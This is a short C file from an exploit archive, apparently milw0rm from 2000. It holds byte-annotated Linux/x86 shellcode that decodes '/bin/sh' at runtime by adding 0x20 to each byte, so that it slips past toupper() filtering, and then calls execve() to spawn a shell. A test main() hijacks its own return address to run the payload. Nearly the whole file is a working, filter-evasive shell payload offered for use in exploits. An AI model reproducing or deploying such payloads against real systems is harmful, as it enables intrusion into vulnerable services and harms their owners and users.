45 lines
No EOL
2 KiB
C
45 lines
No EOL
2 KiB
C
/*
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* Linux/x86
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*
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* toupper() evasion, standard execve() /bin/sh (used eg. in various
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* imapd exploits). Goes through a loop adding 0x20 to the
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* (/bin/sh -= 0x20) string (ie. yields /bin/sh after addition).
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*/
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#include <stdio.h>
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char c0de[] =
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/* main: */
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"\xeb\x29" /* jmp callz */
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/* start: */
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"\x5e" /* popl %esi */
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"\x29\xc9" /* subl %ecx, %ecx */
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"\x89\xf3" /* movl %esi, %ebx */
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"\x89\x5e\x08" /* movl %ebx, 0x08(%esi) */
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"\xb1\x07" /* movb $0x07, %cl */
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/* loopz: */
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"\x80\x03\x20" /* addb $0x20, (%ebx) */
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"\x43" /* incl %ebx */
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"\xe0\xfa" /* loopne loopz */
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"\x29\xc0" /* subl %eax, %eax */
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"\x88\x46\x07" /* movb %al, 0x07(%esi) */
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"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
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"\xb0\x0b" /* movb $0x0b, %al */
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"\x87\xf3" /* xchgl %esi, %ebx */
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"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
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"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
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"\xcd\x80" /* int $0x80 */
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"\x29\xc0" /* subl %eax, %eax */
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"\x40" /* incl %eax */
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"\xcd\x80" /* int $0x80 */
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/* callz: */
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"\xe8\xd2\xff\xff\xff" /* call start */
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"\x0f\x42\x49\x4e\x0f\x53\x48"; /* /bin/sh -= 0x20 */
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main() {
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int *ret;
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ret=(int *)&ret +2;
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printf("Shellcode lenght=%d\n",strlen(c0de));
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(*ret) = (int)c0de;
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}
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// milw0rm.com [2000-08-08]
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